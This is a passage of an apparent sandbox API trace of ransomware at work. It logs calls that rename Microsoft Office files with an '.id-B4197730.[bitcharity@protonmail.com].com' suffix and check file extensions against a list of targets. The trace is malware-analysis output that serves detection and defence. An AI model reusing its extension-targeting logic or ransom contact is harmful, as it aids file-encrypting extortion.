hTemplateFile=0x0) returned 0xffffffff [0265.119] CloseHandle (hObject=0x1268) returned 1 [0265.123] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.123] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.123] CloseHandle (hObject=0x1268) returned 1 [0265.124] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.124] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.124] CloseHandle (hObject=0x1268) returned 1 [0265.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.128] lstrlenW (lpString=".doc") returned 4 [0265.128] lstrcmpiW (lpString1=".doc", lpString2="CCDE") returned -1 [0265.128] lstrlenW (lpString=".docx") returned 5 [0265.128] lstrcmpiW (lpString1=".docx", lpString2="ACCDE") returned -1 [0265.128] lstrlenW (lpString=".pdf") returned 4 [0265.128] lstrcmpiW (lpString1=".pdf", lpString2="CCDE") returned -1 [0265.128] lstrlenW (lpString=".xls") returned 4 [0265.128] lstrcmpiW (lpString1=".xls", lpString2="CCDE") returned -1 [0265.128] lstrlenW (lpString=".xlsx") returned 5 [0265.128] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDE") returned -1 [0265.128] lstrlenW (lpString=".ppt") returned 4 [0265.128] lstrcmpiW (lpString1=".ppt", lpString2="CCDE") returned -1 [0265.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.128] lstrlenW (lpString=".zip") returned 4 [0265.128] lstrcmpiW (lpString1=".zip", lpString2="CCDE") returned -1 [0265.128] lstrlenW (lpString=".rar") returned 4 [0265.128] lstrcmpiW (lpString1=".rar", lpString2="CCDE") returned -1 [0265.128] lstrlenW (lpString=".bz2") returned 4 [0265.128] lstrcmpiW (lpString1=".bz2", lpString2="CCDE") returned -1 [0265.129] lstrlenW (lpString=".7z") returned 3 [0265.129] lstrcmpiW (lpString1=".7z", lpString2="CDE") returned -1 [0265.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.129] lstrlenW (lpString=".dbf") returned 4 [0265.129] lstrcmpiW (lpString1=".dbf", lpString2="CCDE") returned -1 [0265.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.129] lstrlenW (lpString=".1cd") returned 4 [0265.129] lstrcmpiW (lpString1=".1cd", lpString2="CCDE") returned -1 [0265.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.129] lstrlenW (lpString=".jpg") returned 4 [0265.129] lstrcmpiW (lpString1=".jpg", lpString2="CCDE") returned -1 [0265.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.345] lstrlenW (lpString=".doc") returned 4 [0265.345] lstrcmpiW (lpString1=".doc", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString=".docx") returned 5 [0265.346] lstrcmpiW (lpString1=".docx", lpString2="ACCDE") returned -1 [0265.346] lstrlenW (lpString=".pdf") returned 4 [0265.346] lstrcmpiW (lpString1=".pdf", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString=".xls") returned 4 [0265.346] lstrcmpiW (lpString1=".xls", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString=".xlsx") returned 5 [0265.346] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDE") returned -1 [0265.346] lstrlenW (lpString=".ppt") returned 4 [0265.346] lstrcmpiW (lpString1=".ppt", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.346] lstrlenW (lpString=".zip") returned 4 [0265.346] lstrcmpiW (lpString1=".zip", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString=".rar") returned 4 [0265.346] lstrcmpiW (lpString1=".rar", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString=".bz2") returned 4 [0265.346] lstrcmpiW (lpString1=".bz2", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString=".7z") returned 3 [0265.346] lstrcmpiW (lpString1=".7z", lpString2="CDE") returned -1 [0265.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.346] lstrlenW (lpString=".dbf") returned 4 [0265.346] lstrcmpiW (lpString1=".dbf", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.346] lstrlenW (lpString=".1cd") returned 4 [0265.346] lstrcmpiW (lpString1=".1cd", lpString2="CCDE") returned -1 [0265.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 68 [0265.346] lstrlenW (lpString=".jpg") returned 4 [0265.346] lstrcmpiW (lpString1=".jpg", lpString2="CCDE") returned -1 [0265.347] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0265.347] lstrlenW (lpString="LocalizedStrings.xml") returned 20 [0265.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.351] GetFileSizeEx (in: hFile=0x1068, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=4364) returned 1 [0265.351] CloseHandle (hObject=0x1068) returned 1 [0265.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml")) returned 0x220 [0265.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0265.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.352] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.352] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.352] CloseHandle (hObject=0x1068) returned 1 [0265.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.352] lstrlenW (lpString=".doc") returned 4 [0265.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.352] lstrlenW (lpString=".docx") returned 5 [0265.352] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.352] lstrlenW (lpString=".pdf") returned 4 [0265.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.352] lstrlenW (lpString=".xls") returned 4 [0265.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.352] lstrlenW (lpString=".xlsx") returned 5 [0265.352] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.352] lstrlenW (lpString=".ppt") returned 4 [0265.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.352] lstrlenW (lpString=".zip") returned 4 [0265.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.353] lstrlenW (lpString=".rar") returned 4 [0265.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString=".bz2") returned 4 [0265.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString=".7z") returned 3 [0265.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.353] lstrlenW (lpString=".dbf") returned 4 [0265.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.353] lstrlenW (lpString=".1cd") returned 4 [0265.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.353] lstrlenW (lpString=".jpg") returned 4 [0265.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.353] lstrlenW (lpString=".doc") returned 4 [0265.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString=".docx") returned 5 [0265.353] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.353] lstrlenW (lpString=".pdf") returned 4 [0265.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString=".xls") returned 4 [0265.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.353] lstrlenW (lpString=".xlsx") returned 5 [0265.353] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.353] lstrlenW (lpString=".ppt") returned 4 [0265.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.354] lstrlenW (lpString=".zip") returned 4 [0265.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.354] lstrlenW (lpString=".rar") returned 4 [0265.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.354] lstrlenW (lpString=".bz2") returned 4 [0265.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.354] lstrlenW (lpString=".7z") returned 3 [0265.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.354] lstrlenW (lpString=".dbf") returned 4 [0265.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.354] lstrlenW (lpString=".1cd") returned 4 [0265.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 102 [0265.354] lstrlenW (lpString=".jpg") returned 4 [0265.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.354] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0265.354] lstrlenW (lpString="LocalizedStrings.xml") returned 20 [0265.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.357] GetFileSizeEx (in: hFile=0x1068, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=4550) returned 1 [0265.357] CloseHandle (hObject=0x1068) returned 1 [0265.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml")) returned 0x220 [0265.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0265.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.358] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.358] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.358] CloseHandle (hObject=0x1068) returned 1 [0265.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.359] lstrlenW (lpString=".doc") returned 4 [0265.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString=".docx") returned 5 [0265.359] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.359] lstrlenW (lpString=".pdf") returned 4 [0265.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString=".xls") returned 4 [0265.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString=".xlsx") returned 5 [0265.359] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.359] lstrlenW (lpString=".ppt") returned 4 [0265.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.359] lstrlenW (lpString=".zip") returned 4 [0265.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.359] lstrlenW (lpString=".rar") returned 4 [0265.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString=".bz2") returned 4 [0265.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString=".7z") returned 3 [0265.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.359] lstrlenW (lpString=".dbf") returned 4 [0265.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.359] lstrlenW (lpString=".1cd") returned 4 [0265.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.359] lstrlenW (lpString=".jpg") returned 4 [0265.360] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.360] lstrlenW (lpString=".doc") returned 4 [0265.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString=".docx") returned 5 [0265.360] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.360] lstrlenW (lpString=".pdf") returned 4 [0265.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString=".xls") returned 4 [0265.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString=".xlsx") returned 5 [0265.360] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.360] lstrlenW (lpString=".ppt") returned 4 [0265.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.360] lstrlenW (lpString=".zip") returned 4 [0265.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.360] lstrlenW (lpString=".rar") returned 4 [0265.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString=".bz2") returned 4 [0265.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString=".7z") returned 3 [0265.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.360] lstrlenW (lpString=".dbf") returned 4 [0265.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.360] lstrlenW (lpString=".1cd") returned 4 [0265.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 102 [0265.361] lstrlenW (lpString=".jpg") returned 4 [0265.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.361] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0265.361] lstrlenW (lpString="LocalizedStrings.xml") returned 20 [0265.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.363] GetFileSizeEx (in: hFile=0x1068, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=4362) returned 1 [0265.363] CloseHandle (hObject=0x1068) returned 1 [0265.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml")) returned 0x220 [0265.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0265.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.364] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.364] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.364] CloseHandle (hObject=0x1068) returned 1 [0265.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.364] lstrlenW (lpString=".doc") returned 4 [0265.364] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.364] lstrlenW (lpString=".docx") returned 5 [0265.364] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.364] lstrlenW (lpString=".pdf") returned 4 [0265.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString=".xls") returned 4 [0265.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString=".xlsx") returned 5 [0265.365] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.365] lstrlenW (lpString=".ppt") returned 4 [0265.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.365] lstrlenW (lpString=".zip") returned 4 [0265.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.365] lstrlenW (lpString=".rar") returned 4 [0265.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString=".bz2") returned 4 [0265.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString=".7z") returned 3 [0265.365] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.365] lstrlenW (lpString=".dbf") returned 4 [0265.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.365] lstrlenW (lpString=".1cd") returned 4 [0265.365] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString="C:\\Program 